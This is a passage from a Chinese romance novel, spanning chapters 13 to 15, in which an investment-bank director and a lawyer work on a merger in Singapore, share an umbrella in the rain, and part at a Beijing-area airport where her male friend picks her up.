红润唇色与清浅白粥对比强烈,在这万物初醒的早晨,风生起了一抹颇具古韵的风。
西晋诗人陆机曾在《日出东南隅行》中落拓——鲜肤一何润,秀色若可餐。
席砚卿看着她认认真真喝粥的样子,心尖忽然一软,心想陆机落笔时,心中应该也有一个如她一般的女子吧。
想到这儿,他怀揣着无人可探查的心思,微不可闻地笑了一声。
这早晨过得如水般平静,直到一阵手机铃声传来。
席砚卿拿过一看,是一个视频邀请,他也不顾对面还坐着池漾,不假思索地按下了接通键。
池漾一直觉得接电话是个很私人的行为,所以席砚卿能在她面前旁若无人的接通,那致电的人应该不是钟离声就是跟工作人员,所以她也没回避的意识。
直到席砚卿那一声自然而然的“妈”字传入她的耳朵。
不知为何,池漾心中莫名一悸,紧接着手一滑,原本握着的汤匙叮的一声地就掉了下来,叮叮当当地,碰到了白瓷碗的边。
她赶忙用余光看向席砚卿,眼神里有些窘迫。
席砚卿注意到她的目光,赶忙递给她纸巾,小声跟她说:“没关系。”
不过,屏幕另一端的颜瑛女士似乎并没有听到这个声音,仍然自顾自地说着话:“砚卿啊,我听离声说你去新加坡谈裕泰的并购案了?”
“嗯。”
“这种小案子什么时候也轮得到你亲自出马了?”
席砚卿听着颜瑛的话,目光却全部集中在对面。
他一眼扫过去,就能发现池漾吃饭的速度明显加快。
很明显,她是因为不想打扰他们母子的谈话,所以想赶紧喝完粥离开。
席砚卿微微蹙了下眉峰,也不管手机那端的人能不能听见,温柔地提醒着:“慢点吃。”
池漾有种做坏事被当场抓包的心虚感,不由自主地慢下了自己手中的动作。
这下颜瑛再也无法忽视了,疑惑发问:“你在跟谁说话?”
席砚卿轻抬眉眼,好整以暇地看着对面安静吃饭尽力把自己的存在感缩小为零的池漾。
他突然之间,不太想让她那么“好过”。
你想降低存在感是吧,那我偏不让你如愿。
于是,席砚卿清了清嗓子,郑重其事地向颜瑛介绍了一下对面的人:“我救命恩人。”
“咳、咳、咳......”
池漾被这个夸张到离谱的形容呛到,咳个不停。
席砚卿倒是不恼,走到她身边轻轻地拍了拍她的背,看她微微泛红的脸颊,笑得温柔。
手机那端的颜瑛倒是忽然来了兴趣,什么并购案、什么对儿子的想念,通通都被她抛至脑后,她现在脑海里只有她儿子那不多见的温柔笑容,更重要的是,还是对着一个女生。
“席砚卿,你给我等一下,什么救命恩人?还有,我怎么听到了一个女孩子的声音?”颜瑛饶有兴致地在手机那头追问着,连“救命恩人”这个词的前提是她儿子“生过病”这个条件都自动过滤。
席砚卿在心里默念了一句真是我亲妈。
“我等会儿再给您回过去。”说完之后,他就挂了电话。
颜瑛:“......”
他手上动作未停,轻拍着她的背,嗓音放得又柔又缓:“有没有事?”
池漾摇摇头。
她就是呛了一下,能有多大事。
席砚卿却望着眼前人,施施然笑了。
因为今天有工作安排,所以池漾一早就换上了较职业的服装。
其实,她一般的装扮都是衬衫配半身裙,只不过总是这样搭配会有些单调。因此她一般会选择一些比较有设计感的服装,在显得自己得体的同时,又不至于那么沉闷。
她今天穿了一件浅蓝色的衬衫,流畅线条错落其间,灵动蜿蜒,恰似一幅山清水秀的水墨画。下半身则搭了一条宝蓝色中长裙,裙摆是不规则设计,添了些艺术感。
此情此景下,席砚卿看着她,就像是看见一位从湖光山色里徜徉回来的旅人,脸颊的那抹绯红,又恰如其分地彰显出她藏在心底的几分娇嗔。
池漾被他看得有点心乱,低下头,强装镇定地开口:“席总监,我吃好了,你接电话吧,我就不打扰了。”
说完就拉开椅子准备离开
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。
席砚卿目光跟随着她的背影,在她的手就要触上门把的时候,忽然开口叫住她:“池律师,你是不是忘了什么事情了?”
池漾一脸茫然地回头:“什么?”
席砚卿伸手指指自己,慢悠悠地说道:“忘了给我这个病人测体温了。”
说这话时,他的语气那那叫一个理直气壮。
甚至为了让听的人也觉得理所应当,他还颇有心机地在我后面加了“这个病人”四个字,无形中造成了一种压力——我是个病人,拒绝我是很无情的事情。
“嗯?”
池漾一时间没明白他是什么意思,她又没有体温计,怎么给他测体温。
席砚卿看她一脸茫然的样子,深知火候不能一下烧太旺的道理,即刻终止了话题:“我开玩笑的。”
池漾点点头,再次去开那扇门。
说时迟那时快,门竟然在外面被推开了。
池漾抬头,看到钟离声和孟仲季正站在门外。
这两人看到池漾明显也是愣了一下。
“池律师?”钟离声半是打招呼,半是疑问。
池漾微微点头,笑着说了声早上好,自动忽视他声音里那一半的疑惑。
钟离声却依然自我:“您怎么在这儿?”
“我......”
这让她怎么回答?
说她来吃早餐?
还是吃甲方老板的早餐?
情急之下,她开始慌不择路:“我来看看席总监的烧退了没。”
听到这儿,钟离声视线往里探,看到一身休闲装扮的席砚卿正双臂抱在胸前,半倚着餐桌,好整以暇地观望着他们的举动,一脸的神清气爽。
这特么要是发烧就邪门了!
但钟离声又转念一想,席砚卿这个工作狂也不是没有隐瞒病症的前科,于是还是有点担心地问了一句:“你发烧了?”
席砚卿看着他,语气悠悠道:“昨天晚上有点发烧,现在已经好了。”
钟离声随即放下心来。
池漾觉得这对话不能再继续进行下去了,拉着孟仲季就往门外走,“孟仲季,拿上资料我们再去跟分部负责人沟通一下。”
孟仲季本来也是满心好奇,结果还没等他弄懂发生了什么就被池漾拉了出去。
等到他们走后,一个求索的声音在钟离声脑海里后知后觉地响起——
刚席砚卿说了什么来着?
哦!
对!
他说他昨天晚上发的烧!
不对!
等等!
昨天晚上发的烧!
昨天晚上!
想到这儿,钟离声心中隐隐生出预感——眼前这人,明显是醉翁之意不在酒。
席砚卿看着突然冒出的钟离声,口吻讥诮:“钟特助,是不是风盛给你的待遇太优厚,你钱多的没地花?”
钟离声:“嗯?”
席砚卿:“要不怎么就爱做那些,想让我给你扣工资的事儿呢。”
钟离声能走到今天这个位置,那情商也是绝对了得。
其实他早就发觉出不对劲了,就是不太敢确定,这真的怪不了他,毕竟席砚卿真的太......清心寡欲。
但是,他现在串联起席砚卿最近的一些行为——先是上电视节目,后来又突然要和蓝仲合作,后来又多此一举地从澳洲先飞回国,然后再飞来新加坡......
钟离声梳理了一下来龙去脉,试探着问道:“你认真的?”
席砚卿在池漾刚才坐过的餐椅上坐下,上面似乎还余留着一些她的体温。
他轻哂一声,不答反问:“我什么时候不认真过?”
13. 撑伞
说这话时,席砚卿半倚着椅背,长腿慵懒地交叠在一起,右手拿起池漾刚喝粥的汤匙,漫不经心地搅了搅。
这副画面在钟离声看来,那是相当的自由散漫。
似乎是为了证实可信度,钟离声进一步问道:“所以你们是什么时候认识的?”
听到这个问题,席砚卿忽然止住了手中的动作,没有说话。
钟离声继续问:“难道是一见钟情?”
席砚卿依然沉默着。
过了一会儿他才若有所思地开口:“不算是。”
“是就是,不是就不是,什么叫不算是?”钟离声听到这儿兴致来了,走到席砚卿身边坐下,以一副终于轮到他看好戏的眼神看向席砚卿,语气间满是调侃的意味:“哦,你对人家一见钟情,但是不确定人家对你是不是一见钟情?是这样吧?”
是个鬼!
席砚卿懒得理他,起身准备离开。
钟离声却忽然拉住他的胳膊,若有所思地看了他一眼,然后以一位长者的口气,深沉感慨道:“看到你这样,我也终于可以把心放进肚子里了。”
席砚卿睨他一眼:“跟你有什么关系?”
钟离声对他这个若无其事的样子相当愤慨,忍不住吐槽:“不是吧,老席,你难道真的不知道你不谈恋爱这件事给我留下了多大的心理阴影吗?”
席砚卿:“关你什么事?”
钟离声一个白眼翻上天,内心随即响起了一首忍辱负重的交响曲!
就是因为你不谈恋爱,你的母上大人已经快怀疑我跟你是一对了!
恐怖不恐怖!
我每次一接她的电话我都紧张得手抖!
恐怖不恐怖!
但这理由他又实在说不出口,只好悻悻地回答:“算了,你就当我啥都没说。”
反倒是席砚卿忽然想起什么似的问道:“你平常跟我妈联系挺勤的啊?”
“啊?”听到这儿,钟离声本来正撑着桌面看好戏的手肘突然一滑,心想这是怎么个意思,难不成他已经知道这个传闻了?
如果真是这样,那钟离声觉得自己应该离下岗不远了。
“连我来参加裕泰并购案这种小事都要说?嗯?”
他说话的语气沉稳又平静,但字尾上扬的音调,顷刻间又带来一种不容置喙的压迫感。
钟离声倒是松了一口气。
席砚卿继续“威胁”道:“池漾的事情,不准说。”
钟离声:“嗯?”
席砚卿:“我妈那人太八卦,我怕把她吓跑。”
-
因为前期工作准备得比较充分,所以并购环节也进行得很顺利,双方律师代表就合同细则进行了全面详尽的沟通。
最后一天会议结束,大家渐次离开。
风盛投行新加坡分部的负责人张昭叫住席砚卿,说想跟他聊聊。
不多久,会议室里只剩下张昭和席砚卿两个人。
张昭这才开口:“这次怎么不是天泽律所的人过来了?”
席砚卿轻敲了下桌面,一副漫不经心的语气:“怎么了?这个律师不行?”
“那当然不是,”张昭连连摆手,眉眼间都是赞许,“我就是好奇你从哪儿挖出来一个这么漂亮又这么专业的律师,名副其实的律政佳人啊。其实并购前期,我们跟裕泰董事会还是有很大分歧的,关键就在于股权分配这一块儿,他们宁可承担损失也希望能够在未来掌握更多的话语权。但这样对我们的长远发展来看是不利的,所以我们双方僵持了好一段时间。结果你知道那位池律师怎么把对方说服了吗?”
这事席砚卿还真不知道,“怎么说服的?”
“也不知道她从哪了解到,裕泰的最大股东信佛教,最后用了一个什么佛家偈语把对方说服了。对涉外法律信手拈来的律师我倒是常见,谈起经典文化也有一套的律师我还真是头一次遇到。说真的,我都想让她过来给我们当法律顾问了,你帮我问问呗,待遇肯定不比她现在待的律所差。”
席砚卿听了,嘴角扯出一抹轻笑,异常冷漠地撂了四个字:“你想得美。”
张昭:???
-
他们开会的地方离席砚卿一行人入住的酒店很近,走路也就十来分钟,再加上新加坡的天气和环境都很惬意,所以这几天的商务往来,他们大多都是步行。
席砚卿从会议室出来的时候,张昭和他同行着,打算亲自送他回酒店。
很快,电梯到达一楼,两人一边说话一边并肩向外走。
还没走两步,席砚卿目光往外一扫,落入眼中一个熟悉至极的身影。
她站在门外,正微扬着脖颈,仰头看着天空。
下一刻,似乎是觉得这样还不足够,于是她又伸长胳膊,向前倾了倾身子。
一袭娉婷身姿,天衣无缝地融入朦胧的雨幕,似一副构图精巧的山水画。
自带古韵的背影与颇具现代感的楼厦结合在一起,平衡出了一种非常绝妙的杂糅感。
看着这一幕,席砚卿下意识地放缓了脚步。
她怎么还没走?
张昭注意到窗外的天色,感慨着:“竟然下雨了?按理说这几个月是少雨季啊。”
席砚卿心不在焉地嗯了一声。
“诶?”张昭也注意到窗外站着的身影,“那不是池律师吗?她怎么还没走?”
说完又看向席砚卿,“应该是被雨困住了吧。你等下,我去前台给你们拿把伞,然后把你们一起送回去。”
席砚卿却忽然叫住他,“不用了,我认得路。”
张昭依然往前走着,坚持说:“那我也得给你们拿两把伞,这个时节的雨,大都是骤雨,雨势可能瞬间增大。”
席砚卿眼睛注视着窗外,叫了声:“张昭。”
“怎么了?”
席砚卿目光未动,说:“拿一把就行。”
---
席砚卿接过张昭手里的伞,正往外走时,池漾也正好往里走,看到席砚卿时,很明显地顿了下脚步。
席砚卿见状,快步走到她面前,深眸含笑:“你怎么还没走?”
池漾如实道:“钟特助有急事要赶回去处理,所以让我在这里等你。”
席砚卿:“嗯?”
池漾:“他说你不认识路。”
席砚卿:“......”
能想到这么个蹩脚的理由,他也是真的佩服钟离声。
“也是,”席砚卿鼻尖溢出一丝笑,“我这个人方向感确实不太强。”
站在一旁的张昭:???
他算是知道刚才那句“你想得美”因何而起了。
想到这儿,张昭颇有眼色地走了上去,助力道:“我本来是打算送席总监回去的,既然池律师在,那我就放心了,正好我上面还有些工作要处理。”
池漾朝张昭点了点头,“那张总您先忙,席总监我会送回去的。”
“麻烦池律师了。不过,这外面的雨怎么越下越大?”张昭眼睛里露出一抹自然而然的惊讶和担忧,“可是我刚才问前台,他们说这里只有一把伞了。”
进来就为了去前台借伞的池漾:“......”
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>张昭故意说的客气:“那就委屈池律师和席总监撑一把伞了。”
添完最后一把柴火,张昭就不留功与名地挥挥手,潇洒地转身离去了。
池漾站在原地,有点懵。
席砚卿颇具耐心地欣赏着她一脸茫然的表情,缓步走到她左侧,低沉嗓音落在她耳畔:“跟我撑一把伞,很委屈?”
“啊?”耳边突然传来的温热气息,让池漾猛地一缩,“不委屈。”
席砚卿忍着笑意,问:“那怎么不走?”
池漾不自然地揉了揉鼻尖,轻声应道:“哦。”
两个人并肩走出大厦。
外面的雨势果然如张昭所说,这才不过几分钟的时间,瞬间就猛了很多。
席砚卿撑着伞,池漾走在他右边。
伞下的空间有限,难免会有肢体接触,所以池漾很注意地,将双手紧紧地攥着她单肩包的金属链条。
一人风度翩翩,一人长身玉立,共撑一把浅蓝色的晴雨伞,并肩行走于浪漫雨幕下,似是从地面破土而出的一朵花。
无意喧宾夺主,却惊艳这方雨幕。
池漾看着眼前的景色,后知后觉地发现了一个令她自己震惊不已的事实——她好像不再惧怕下雨天了。
她说不清这个改变具体来自于何方,但心里有个声音强大得无法忽视——这份改变,好像与她身边的这个人有关。
想到这儿,她终于打破了心里的那点不自在,鼓起勇气抬起眉眼,往左侧望了一眼。
就在她抬眼的瞬间,一滴硕大的雨滴,也同步着从伞檐,锵锵坠落。
——落在席砚卿的左肩。
池漾微微侧眸,这才发现他左肩的衣服早已湿了一大片。
而她这边,被雨伞遮得严严实实,未湿片缕。
这一刹那,她就感觉自己的心如同坠下的雨,一石激起千层浪。
下一秒,她抬高手,想要把伞往他那边倾斜倾斜。
可就在她双手握上伞柄的那一刻,或许是雨势又大了的原因,席砚卿手腕一发力,同时把伞抬高着往她那边又倾斜了一些。
这个突如其来的动作,杀了池漾一个措手不及,她的手掌于慌乱中下落,不可避免地触碰到他抬高的手。
顷刻间,那双黑色皮鞋和白色高跟鞋纷纷由运动状态变成静止,落雨溅起几滴新的水洼,将他们围住。
两个人的目光在空中交汇。
席砚卿垂下眸,凝视着她近在咫尺的有些窘迫的脸,忽地笑出声来。
池漾正想开口解释,却被席砚卿抢先了一步。
她听到他颇具深意地问:“占我便宜?”
“不是,”池漾挪开自己的目光,不去看他的眼睛,“你左肩都湿了。”
听到这儿,席砚卿不以为然地哦了一声,丝毫不在意。
池漾接着说:“你发烧刚好,最好不要淋雨。”
“行,听你的,”席砚卿很好说话,“那我们走快点儿?”
池漾说好。
结果,等他们再次抬脚往前走的时候,池漾发现他根本没有任何改变,那个伞依然狠狠地朝着她的方向倾斜着。
所以,她再次抬手想完成刚才“未竟的事业”。
席砚卿察觉到她的举动,不怀好意地问她:“又占我便宜?”
池漾收回手,对他这种“不听医嘱”的行为相当不满。
“不是。”她否定得相当果断,带着赌气般的语气,“你穿的那件衣服,是一个对我很重要的人设计的,我不想让它淋湿。
席砚卿:“......”
14. 哥哥
翌日上午,他们启程回国。
到达机场的时候距离登机还有一段时间,于是一行人就坐在休息室等待。
池漾坐在靠窗的位置,旁边坐的是孟仲季,席砚卿和钟离声则与他们隔着一条过道。
孟仲季这几天因为这个并购案也是忙得不行,现在这案子终于告一段落,他整个人也松懈了下来,这会儿正姿态懒散地靠着椅背,舒舒服服地玩着手游,放松身心。
池漾用余光瞥了一眼,看到他手机屏幕上打打杀杀的画面,随口问了句在玩什么。
孟仲季说了个手游的名字,池漾听了,相当茫然地哦了一声。
看她这个反应,孟仲季相当诧异:“池律,你不会不知道这个游戏吧?这可是人尽皆知的手游啊。”
池漾无所谓地耸耸肩,承认得理直气壮。
孟仲季一脸不可置信,追问着:“那你平常休息的时候都玩什么啊?”
池漾心想,我会玩的可多了,我还会玩滑板呢,酷不酷?
“玩儿锅铲,酷不酷?”她故意逗他。
“玩儿锅铲?”孟仲季瞬间反应过来,“池律师你会做饭啊?”
“嗯,”池漾看着孟仲季那一脸仿佛看到外星生物的震惊表情,面露不解,“不是,看你这惊讶的表情,难道会做饭是一项很了不起的技能?”
“不不不,不是,”孟仲季否定道,“我就是听说爱做饭的大概率的都是吃货,可是看您这身材一点儿都不像。”
池漾笑了:“那我可能是那个小概率?”
孟仲季:“嗯?”
池漾:“我比较喜欢让别人吃我做的饭。”
听到这儿,孟仲季一下子来了兴致。
毕竟这可是了解池漾私生活的好机会,他自然不能放过。
这样想着,孟仲季瞬间觉得手里的游戏一点都不香了,他扣上手机,专心致志地当起了小记者,循序渐进地问:“那池律平常最爱吃什么?”
池漾故作警惕地看了他一眼,开玩笑道:“为什么想知道这个?想巴结我?”
孟仲季心想那可不咋的,这可是连蒋嘉末都不知道的信息。
不过,我们孟仲季同学还是很会察言观色的,只见他笑了笑,把真正的意图压在心底,说:“那哪能啊,我就是想了解一下你们女生喜欢的口味,我提前学学,将来好给我女朋友做。”
池漾没忍住笑了一声:“孟仲季?你是不是想要女朋友想疯了?口味这事儿还分男女的吗?到时候遇到喜欢的人了直接问她喜欢吃什么不就行了。”
孟仲季心领神会地哦了一声。
默了几秒,孟仲季:“那你到底喜欢吃什么啊?”
池漾一脸“我真是啥都白说了”的表情看向孟仲季。
正巧,她的手机在此时响了起来,还连着响了好几条。于是,本着结束这个话题的目的,池漾撂下了两个字:“粤菜。”
孟仲季:新情报Get!
俗话说隔墙有耳,隔过道更是有耳。
还是四只耳朵。
钟离声兴致勃勃地戳了戳席砚卿的胳膊肘,不怀好意地调侃:“粤菜可都是功夫菜啊,很考验厨艺的。老席,看来你以后有口福了啊。”
席砚卿唯恐池漾听见,相当不自然地干咳了两声,没接话。
钟离声越战越勇:“不过就你那厨艺,将来应该会被嫌弃的吧?系麻鬼烦哦。”
最后一句,他还含沙射影地将其换成了广粤地区的方言。
席砚卿听了倒也不恼,只是淡然地回了句:“斯瓦希里语不够难是不是?还想翻译啥你直说。”
钟离声终于不说话了。
-
池漾打开微信一看,是叶青屿连着发来了好几张火车票的购票截图。
池漾一一点开,很快就发现,虽然每张图的持票人信息不一样,但因为坐的是同一个车次,所以出发时间和到达时间都是一样的。
她正在内心腹诽叶青屿是不是个智障的时候,他直接一个视频邀请就过来了。
因为是在公共场合,所以池漾习惯性地插上耳机,才按下接通键。
手机屏幕上瞬间显示出叶青屿那张魅惑众生的脸。
池漾也不知道他今天是吃错了什么药,接通后的第一句话竟然是甜得腻人的“我的好妹妹。”
听到这个称呼,池漾忍不住在心里咦了一声,万分庆幸还好她刚才戴上了耳机。要不这声音外放出来,简直是噪音污染。
不过,如何对付叶青屿这种从不按常理出牌的行为,池漾早都驾轻就熟了——
那就是比他再不要脸一点。
于是,当一向清冷优雅的池漾用娇嗔甜美的嗓音,满心欢喜地喊出“青屿哥哥”时,右边的孟仲季、席砚卿、钟离声瞬间整齐划一地看了过来。
整齐程度,堪比军训排演。
视频里的叶青屿自顾自地说着话,池漾却没什么心思听。毕竟,右侧齐刷刷飚来的三双目光实在是太过灼烫,令她忽略不得。
池漾这才反应过来自己刚才的一言一行有多么不妥。
于是她相当羞赧地朝他们颔首示意了一下,然后就起身去别处接电话了。
起身的那一刻,她的语气终于不再娇嗔,而是换成了气愤:“我说你能不能正常一点,没事犯什么抽?”
叶青屿丝毫不知悔改,反倒骄傲于自己奸计得逞,一脸坦然地说:“我犯什么抽了?你那一声哥哥不是也叫的挺带劲的吗?”
池漾轻呵一声:“也不知道是谁,说他不是我哥的。”
叶青屿笑得肆意:“这不跟你开玩笑呢。”
两个人聊了一会儿,池漾看了眼手表,估算了一下登机时间。怕听不到登机信息,于是她摘下了耳机,把手机调换成了语音模式。
叶青屿继续在手机那头跟她说着话:“我刚看你现在是在机场呢吧,那到了我去接你,咱俩一起去接他们?”
池漾本来就是这么打算的,但鉴于刚才的事情,她此时此刻非常想逗一下叶青屿:“你自己一个人去不行吗?非得我陪着你去?”
叶青屿彻底炸毛:“池漾,你不能欺人太甚!”
池漾这个人哪都好,就是有个坏习惯——
特别喜欢惹毛叶青屿。
叶青屿的炸毛时刻,就是池漾的巅峰时刻。
“好好好,陪你去,”池漾刚语气敷衍地应完话,就听到孟仲季在喊她登机,她挥手示意了一下,然后就朝孟仲季的方向走,同时还继续跟叶青屿通着话,“对了,你开一个车坐不下吧,我们到时候还得提前再打个车。”
叶青屿:“不用,我刚买了新车,SUV,正好坐得下。”
池漾听到这儿又忍不住想吐槽:“你没事买什么SUV,就你那个性格,除了我平常谁愿意做你的车,纯粹就是浪费。”
叶青屿:“......”
说话间池漾已经走到孟仲季身边,从他手中接过自己的包,跟在他后面登机。
“行了,六个小时以后机场见。”池漾说完就准备挂电话。
“等等,”叶青屿却忽然叫住她,“你买的是头等舱吧?”
池漾一边把耳机塞到包里一边说:“你管我!”
叶青屿轻叹一口气:“我说我的好妹妹,对自己好点吧,回来的路上好好睡一觉。升舱的钱哥哥替你出。”
池漾排着队往前走,嗤然一笑:“这钱你凭什么替我出?”
叶青屿长吁一口气,依然是那副散漫的口气:“凭我妹妹母胎单身,只有让哥哥疼一辈子了。”
听到这儿,池漾终于忍无可忍:“我不用你疼!”她走上廊桥,语气不缓不急:“还有,法律上没有一辈子这个提法,你说的话没有法律效益,打动不了我。”
趁着和叶青屿闲聊的功夫,池漾已经成功登机,在座位上坐好之后,她挂了电话。
这次她座位靠窗,孟仲季坐在她旁边,席砚卿和钟离声的位置则在隔着一条过道的右侧。
孟仲季作为离池漾最近的人,想起她刚才的言辞,避重就轻地问道:“池律师不是只有个弟弟吗?”
池漾现在满脑子都是关于孩子的事儿,早已忘了电话最开始时叫的那一声青屿哥哥,因此疑惑地问了一声:“嗯?”
孟仲季:“可我刚才听你叫电话里的人叫哥哥。”
“你说他啊,他才不是我哥,”池漾低头系安全带,嗤笑,“他是我冤家。”
说的时候还是厌烦的口气,说完之后又忍不住笑起来。
她和叶青屿从小到大就是这样的相处模式,所以她没觉得哪里不对。
倒是孟仲季开始自顾自地琢磨起来,先是娇嗔地
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叫哥哥,然后是他的车只有她能坐,再然后是要疼她,再然后是一辈子。
这些关键词随便一联系,怎么都感觉池律师这是有情况了呢......
孟仲季想着想着,不知为何,莫名有种失恋的感觉。
不是说好的,池律师是我们大家的吗......
头等舱人不多,因此哪怕池漾说话声音很小,还是原封不动地传入了过道那端的耳朵。
钟离声感觉到身旁的低气压,用余光相当谨慎地瞥了席砚卿一眼,只见他面无表情,看不出任何的情绪。
他勾起食指,轻轻敲了敲两个人座位中间的隔板。
席砚卿注意到动静,眼睑微垂,淡漠地看着他的手,默不作声。
钟离声见状,压低声音凑近他:“要不要我找个理由让你跟孟......”
等等,是叫孟仲季还是孟季仲来着?
钟离声想了想,改口成:“跟孟同学换个位置?”
不如叫三秋,言简意赅,上口好记。
“不用,”席砚卿冷冷清清地答,“让她好好睡一觉。”
毕竟他们还没有那么熟,他归根到底在池漾心中就是个甲方,有他在旁边,她肯定多多少少会有些不自在。
钟离声倒是想的有点多,殷勤献策:“不是,你到底会不会把握机会啊,正好她一困,再往你身上一靠,这事不就成了吗?”
席砚卿睨他一眼:“你以为你坐的经济舱呢,你靠一个试试?”
钟离声看着两个座位之间的宽敞间隙,瞬间噤了声。
席砚卿:“不想被扣工资就老老实实待着。”
钟离声:“......”
-
飞机于下午五点到达京溪国际机场。
下机之后,四个人站在传送带旁边等行李。
孟仲季推了个行李车,把自己的行李放上去之后就要帮池漾放,池漾却拉住他,说:“我自己拿就好了,等会儿有人来接我,就不跟你一块回律所了。这几天你也辛苦了,回去好好休息休息。”
孟仲季听了,眉眼间难掩失落神色,池漾注意到之后,问他这是怎么了。
孟仲季:“池律,你是不是请年假了?”
池漾看他一脸委屈的模样,不知道这跟她请年假有什么关系,“你听谁说的?”
“蒋嘉末告诉我的。”
“我是请了几天假,不过你怎么这副表情?”池漾拍了拍他的肩,“怎么?怕这几天没人带你啊,放心吧,顾律师会安排好的。”
“不是......”孟仲季吞吞吐吐。
看着平常意气风发、雷厉风行的精神小伙,突然变得这么扭扭捏捏,池漾真的是用尽了逻辑分析法和因果追溯法,也没想明白孟仲季这个样子的原因。
她不喜欢拐弯抹角:“孟仲季,有话直说!”
“没事,池律,我就是......”孟仲季正想着该怎么说的时候,池漾的电话响了。
是叶青屿。
她按下接通键,言简意赅道:“下机了,在等行李。”
叶青屿此时已经在出口百无聊赖地等了她好几十分钟,想着她这会儿等行李应该也挺无聊,于是乎继续和她唠着家常:“对了,江溯烟特意委托我,给池大律师带句话......”
“有什么话等会儿见面再说。”说完,池漾啪嗒一声挂了电话。
叶青屿:“......”
池漾!你给我等着!
池漾拿着行李箱,对孟仲季依然耐心十足:“我赶时间我就先走了,你放心,我请假了又不是失联了,你工作上有什么问题,可以随时找我的。”
孟仲季心不在焉地点了点头。
跟他交代完之后,池漾又看向席砚卿和钟离声,跟他们一一道别:“席总监,钟特助,不好意思,我要先走一步了。这几天也辛苦你们了,希望以后还有机会合作。”
席砚卿默不作声,连带着钟离声也大气不敢吭一声。
下一秒,他长腿一迈,上前一把拿过她的行李箱。
池漾还没弄懂他这么做的意思,就听到他说:“我送送你。”
其实池漾想说不用,这离出关口就几步路,有什么好送的。
可席砚卿没给她这个机会,迈着大步往前走。
她只有跟上。
15. 追忆
池漾刚到出关口,叶青屿就一眼看到了她,赶忙摆手示意。
席砚卿凝着眉,随着她的视线朝同个方向望去——
一件棉麻质感的灰蓝色衬衣,被他松松垮垮地搭在身上,慵懒随性。裤子看起来像是和上衣同样的材质,黑色的阔版,自腰线垂落而下,衬得那双腿颀长匀称,脚蹬一双黑色帆布鞋,站姿并不端正。
又走近几步,席砚卿终于得以看清他的长相——
肤色很白,剑眉星眸,挺鼻薄唇。尤其是那一双桃花眼,微微上挑着,莫名有些勾人。
这就是她刚才在电话里说“哥哥”、“疼我”、“一辈子”的主人公吗?
席砚卿在脑海里琢磨了一番,内心突然泛起一阵无法忽视的失落。
这个人到底是她什么人?
她不是单身吗?
如果她心里早已有人,为什么当初在机场对视时的那个眼神,会是那个样子?
他沉浸在自己的世界里,连池漾跟他说话都没听到。
直到池漾伸出右手在他眼前晃了晃,他才回过神来。
只见池漾正笑靥如花地看着他:“席总监,你想什么呢,我跟你说话你都没听到。”
“哦、没、没事。”这次终于换他吞吞吐吐,不再自如。
“我朋友来接我了,我就先过去了,”池漾伸手,想要从他手里接过行李箱,“谢谢你帮我拿行李。”
席砚卿察觉到她的动作,右手突然用力,把行李箱握得更紧了些,不让她拿走。
池漾抬眸,一脸不解地看向他。
“池漾,”席砚卿这次没叫她律师,而是叫的她的名字:“此情此景,你没有回想起什么吗?”
他沉着嗓音,说出的每一个字都像是一记沉重的鼓点,急切地寻找着共振。
闻言,池漾本能地朝四周看了一眼,瞬间反应过来自己身处何方。
应该是一个月之前吧,她从波士顿回国,下机的时候就是在这里,遇到了那个她再也没能忘记的眼神。
那个与席砚卿的对望。
“我......”池漾突然不知道该怎么回答,也不知道他问这个问题的目的何在。
气氛沉默片刻,她听到席砚卿说:“我们见过,就在这里。”
他嗓音沉静悠远,仿佛轻易就能挑起往事的绸缎。
池漾敛眸,轻轻嗯了一声:“我知道。”
这件事情她一直想问,奈何每次都没问出口。
他这次主动提及,池漾是想趁着这个机会多说几句的。可是,下一秒,她用余光一瞥,看到叶青屿朝她走来的身影,心中突然涌起一阵强烈的心虚。
关于那次在机场的偶遇,她谁都没说,唯一知道这件事的人就是叶青屿。
池漾回顾了一下当天的状态,瞬间反应过来一件事:绝对不能让叶青屿知道席砚卿就是她当时在机场见的那个人!
至少现在不能!
虽然他们俩说话的声音并不大,但是叶青屿一直就站在离他们不远的栏杆外,池漾不确定他听没听到他们的谈话。
这要是听到了,依叶青屿那种不把她嫁出去誓不罢休的气势,保不齐会在席砚卿面前说出什么出格的话。
头脑风暴间,池漾当机立断,一把拽过席砚卿手里的行李箱就往外跑,语速也是前所未有的快:“席总监,我今天赶时间,就先回去了。”
叶青屿看她过来,笑着走上前去,自然而然地替她拿过行李箱,驾轻就熟地把胳膊搭在她的肩上,语气随意又亲昵:“江溯烟让我问问你,我们什么时候才能合法?”
闻言,席砚卿眉心一颤,垂在身侧的手瞬间收紧。
与她同行的周密计划,就此作废。
-
叶青屿接上池漾,驱车前往高铁站。
还好今天是周末,要换做工作日,这个点儿指不定得堵成什么鬼样子。
池漾看着车载导航上的地图,估摸着半个多小时应该就能到,时间完全来得及。
其实,她本来是准备自己先飞一趟南栖,然后亲自把齐媛和孩子们接过来。结果没想到临出发前接到风盛的工作邀约,于是只能暂时改变计划。
因为出差,所以齐媛这段时间都是和叶青屿联系的。
不过,叶青屿最近也忙,工作室要开业,很多事情都要亲自处理。虽然他跟齐媛说过等日期确定好之后告诉他一声他来买票,但齐媛还是贴心地自己买好了票。
不是机票,不是高铁票,而是火车票。
快二十个小时的火车。
池漾和叶青屿多次说过,这些钱都不用她操心,但齐媛还是觉得,能省一点儿就是一点儿,谁的钱都不是大风刮来的。
叶青屿开着车,想起刚才在机场见的那个男人。
首先映入他眼帘的就是那一身深蓝色西装。
这是某奢侈品牌的今夏最新款,也是他辞职前的收官之作。这身西装的品位与设计巧思均藏在细节处,不露山不露水,有一种低调的奢华。
着装之人身材修长,气质绰约,将他的构想与展望,演绎得淋漓尽致。
都说人靠衣装。
但叶青屿却深谙,衣装也靠人。
身为一名服装设计师,时尚嗅觉天生就灵敏,尤其是看到一个这么会穿的人,更是忍不住多打量了一番。
想到这儿,没有任何铺垫,叶青屿直入主题地问:“刚才那个男人是谁?”
池漾微微抬头,看着前方的车流,一板一眼地回答:“风盛投行的总监,席砚卿。”
叶青屿若有所思:“就是他让你临时出差的?”
“你话不能这么说,”池漾反驳道,“出差是我自己要去的,关人家什么事儿。”
施施然解释完,池漾又觉得莫名其妙,这到底有什么可解释的?
可她就是潜意识觉得,不想让叶青屿对席砚卿有任何不好的印象,她也说不清,自己为何会生出这样的执念。
倒是叶青屿主动转了话头:“那个男人,气质挺绝啊!”
池漾音调稍扬:“嗯?”
叶青屿越说越来劲:“漾漾,你没觉得,那个男人从头到脚都相当完美吗,长相、身高、身材,妥妥一个天生的衣架子。”
听到衣架子这个词,池漾就知道叶青屿职业病又犯了,无奈抚额。
